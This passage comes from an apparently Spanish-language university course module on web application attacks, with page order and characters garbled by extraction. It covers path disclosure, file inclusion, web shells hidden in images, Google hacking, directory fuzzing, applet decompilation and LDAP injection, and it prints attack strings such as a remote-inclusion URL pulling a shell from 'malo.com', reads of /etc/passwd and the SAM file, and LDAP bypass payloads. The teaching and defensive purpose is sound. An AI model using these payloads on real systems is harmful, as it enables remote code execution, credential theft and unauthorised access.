a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
